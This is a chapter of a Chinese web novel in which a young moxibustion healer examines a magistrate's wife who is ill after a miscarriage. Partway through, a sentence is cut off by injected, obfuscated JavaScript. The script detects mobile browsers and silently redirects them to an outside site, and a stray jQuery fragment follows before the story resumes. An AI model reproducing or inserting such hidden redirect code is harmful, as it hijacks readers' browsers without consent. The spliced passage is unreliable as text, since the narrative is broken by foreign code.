萧芸他们在门房处,等了小半个时辰,才见到了那位齐管家。
一位瘦瘦高高,面黑留着八字短须,约四十来岁的男人。
“可是这位小娘子善治妇人病?”齐管家语气很温和,并没有萧芸以为对方会是一副盛气凌人,看不起人的样子。
萧芸稍稍松口气,上前一步,回齐管家:“是,不过我擅长艾灸。”
齐管家看着她这稚嫩的脸庞,有些犹疑道:“小娘子年岁几何?”
萧芸努力站直挺胸:“十四。”
齐管家无言,有那么一瞬间,他想赶人走。
“齐管家!夫人又晕过去了!”
就在齐管家在心中暗骂闵师爷不靠谱,打算找人把萧芸三人请出去时,后头来了个小丫鬟,十分焦急地冲这边喊道。
一听,齐管家面带焦色,匆匆对萧芸三人道一句:“几位请回吧!”就要离开。
“管家,您就让我试试!你看,我东西都带来了!”萧芸赶紧叫住齐管家,打开他们在等他时,准备好的药箱,箱盖一开,一股沉沉的芳香扑鼻而来,入眼是各种艾绒、艾粒、艾炷、艾条。
“这是些都是三年陈艾制成的,您可以闻闻,您是见过世面的,肯定识货!”
这些都是萧芸美容院里的存货,确实都是三年陈艾,她拿的可都是她亲自去自家药园采的艾草,亲手晾晒捶打搓揉制成的。
齐管家略懂药理,拿起一个小艾炷,闻闻看看捏捏,味香不青不呛人,艾绒细密紧实不散,无杂质,就知都是好东西。
“你跟我来!”
他决定带萧芸进去试试。
萧芸没想到这么容易就可以了,她还准备了金艾绒和各种药艾条,都没展示呢。
她连忙“哎”了一声,合上药箱,悄悄对云崖子和元空青招招手后,跟上齐管家脚步。
两人见没人阻拦,默声跟上。
一路上三人也未敢乱看,乱问,只是跟在齐管家身后。
齐管家领着他们穿过游廊,拐来拐去的,来至一道月亮门前。
有一看门婆子守在门口,见有外男,连忙上前拦住。
齐管家对云崖子和元空青跟来的举动没什么大反应,只是对萧芸道:“还请你爹爹和夫君在此等候。”
“我们懂的,我们不进去,不进去!”云崖子连忙摆手。
元空青将背着的药箱递给萧芸,温声道:“尽力即可。”
萧芸点点头,没多言,深吸一口气,跟着齐管家走进了门内。
一进去,就有股浓浓的药味,除此之外,还有股淡淡的腥味。
齐管家将萧芸带至一偏厅,“小娘子先在此歇息片刻,如有需要,自会有人来请。”
萧芸应下,走了进去。
这偏厅里已经有三人落座,都是女子,观之有两位年纪大概都在三十以上,还有一位是个老婆婆。
大家都没有坐在一处,萧芸本想打个招呼,但三人看她的眼神,有点怪怪的,疑惑里好似带了几分不喜加轻视。
为什么说轻视,因为三人不约而同的哼了一声,别过头,自顾喝茶,也不理萧芸。
萧芸不想自讨没趣,也乐得自在,在靠近门口处,找了个椅子落坐。
过了大约两盏茶的功夫,便有人来请萧芸,带着她进了主屋,但不是去见病人,而是先见了那位知县老爷,还有一位知县娘子的贴身丫鬟。
这位知县也姓齐,那位齐管家估计是知县家的家生子,赐姓的那种。
齐知县看起来不到而立之年,面冷不苟言笑,问话也很严肃犀利。
好在对于艾灸,她本就在行,而一些医学基础她也有,自然能够应对。
待她回完话后,一直冷着脸的齐知县这才有了些松容。
之前请的那些人,他问一些简单的医理,都回答的乱七八糟。细问下,说是祖上传下的技艺,都未正经学过医。
有名望的男大夫亦来把过脉,开过方,血崩是止住了,可已过近两旬,这血还是淋漓不尽。
这小地方,正经女医几乎都没有,他虽已派人往京中传信求医,可也是远水解不了近渴。
他家娘子日渐虚弱,现已是卧床不能起,他实在等不起。
他此次是有要事来鹿鸣,不能轻易离开,所以一拖再拖,没有去别处找名医。
现下英娘还跟他置着气。
想到这,齐知县在心底叹口气,问萧芸:“不知小娘子对内子的病心中可有章程。”
萧芸刚刚已经从知县娘子的贴身丫鬟那里知晓了那位娘子如今的病情——
恶露不止,下腹疼痛,反复发热恶寒,四肢无力,头晕头痛,食欲不振。
她心中略有数,但还须见过是恶露什么样子的。
对着齐知县行了个潦草的礼,萧芸回他:“民女心中已有些想法,但还烦请知县先带我见过夫人,民女方可行灸。”
那礼,她是跟那位叫小喜的丫鬟学的。
“自然。”
说完,便带着萧芸往寝室去,到了门帘处,药味与血腥味越发浓。
齐知县停下脚步,侧过身,没有进去。
小喜见状,欲言又止,只得对萧芸说:“萧小娘子,请随我来。”
萧芸奇怪地看了眼齐知县,而后跟着小喜进入寝室。
内里味道很不好闻。
一进去,在床榻边守着的丫鬟,便起身快步走向小喜,低声问:“郎君呢?没来?”
小喜看了眼萧芸,同样小声道:“郎君……郎君不方便进来,在外面守着呢。”
丫鬟冷哼一声,气呼呼的又回到床榻边。
这时一位老嬷嬷不知从哪冒出来,哑着声问:“这位是?”
这可把萧芸吓一跳。
这屋子一股味儿,又暗沉沉的,这让她十分不舒服,这人从阴影里冒出来,实在吓人。
“为何不开窗?”不待小喜介绍她,萧芸先发问。
那位嬷嬷皱起眉头:“我家娘子还在小月子里,不能吹风……”
萧芸也皱眉:“开窗通气和吹风没有直接关联,屋子不通气,病人呼吸不到新鲜空气,只会更加不舒服,又没让她对着风吹,这窗还是要开的。”
“且今日天晴无风,更应该开窗,要得好,还应该让你家娘子晒晒太阳,多晒太阳少生病,不过不要晒午时和未时的,容易晒伤。”
萧芸一顿叨叨,把那老嬷嬷的话堵在嘴里,说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533992|186462||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不出。
张着嘴巴的样子,让人看着怪难受。
萧芸别开脸,没再理那位嬷嬷,转头对小喜说:“小喜,你开个窗,如果不放心,先开半扇。”
小喜看了眼嬷嬷,又看了眼萧芸,最后还是觉得听这位医女的,刚刚自家郎君夸她来着。
小喜去开窗,萧芸径直走向床榻,站在边上,观察起知县娘子。
面无血色,形瘦,气若游丝。
她又抓起她的手,看了看。
“你是谁啊,干什么呢!”小丫鬟这才反应过来,质问萧芸。
“小欢,这是郎君给娘子请的医女,莫要无礼!”开完窗的小喜赶紧过来给萧芸解围。
小喜又对萧芸道:“还请萧小娘子莫介意,小欢她……”
萧芸打断她的话,让她给她看下知县娘子流下的恶露。
听到她这个要求,在场的三人都愣住了。
其他两人无动作,小喜只得带萧芸去净房看刚换下来,还没来得及去洗的月事带。
还没细看,萧芸心中有了数,只因味道很不好闻,再看颜色,色黄质稠,量也多。
她本来以为是小产后崩漏(子宫功能性出血),先下观之应是带下病(急性盆腔炎)。
她不会把脉,也不太会看病,但是她会调理女性相关的一些病症,恰好这个病她知道怎么用艾灸治疗。
她默默吐出一口气,让小喜收掉月事带,走出净房。
刚一出来,就听小欢高兴地朝外喊:“娘子醒了!”
萧芸赶紧过去,只见那位夫人此时两眼无神地看着床顶。
“娘子安,我姓萧,是来给娘子做调理的。”她上前朝知县娘子行礼,随后做自我介绍,没提病,只说调理。
知县娘子回神看她,“调理?不是治病。”
萧芸笑,没顺着她的话回:“娘子放心,暂时咱们不喝药,只是做一做艾灸。”
说着,她拿出药箱,打开盖子,露出里面的各种艾条。
“娘子,可是有腹痛?”萧芸又问。
知县娘子很疲累,她微微点头。
萧芸:“娘子可愿让我按一下腹部,寻找痛点,这样的话,艾灸会更有效果。”
知县娘子又微微点头,她的眼神里带了点好奇。
见她答应,萧芸去净手,净完后走至床边,半蹲在脚踏上,下按她的腹部。
很快便找到痛点。
萧芸记下后,便吩咐小喜给知县娘子宽衣,让其露出腹部及腰骶。
她则是去为艾灸做准备,先是取出几个竹制的四孔艾灸盒,然后将金艾绒制成的一条长艾条,分成多个,装入艾灸盒内。
随后,她又点燃一支艾灸条。
此类病症取穴中脘、关元、子宫、归来、八髎(上次中下)、足三里、三阴交。
“娘子以前艾灸过吗?”萧芸举着点燃的灸条,走向知县娘子。
一股烟气升腾而起,艾草陈香随之而来。
“没有。”知县娘子答。
“那我们先试一下。”
萧芸让其平躺,她坐其身侧,手指按向上腹取中脘穴,确定后,吹了吹艾条,将燃着的一头悬于中脘穴上方三寸。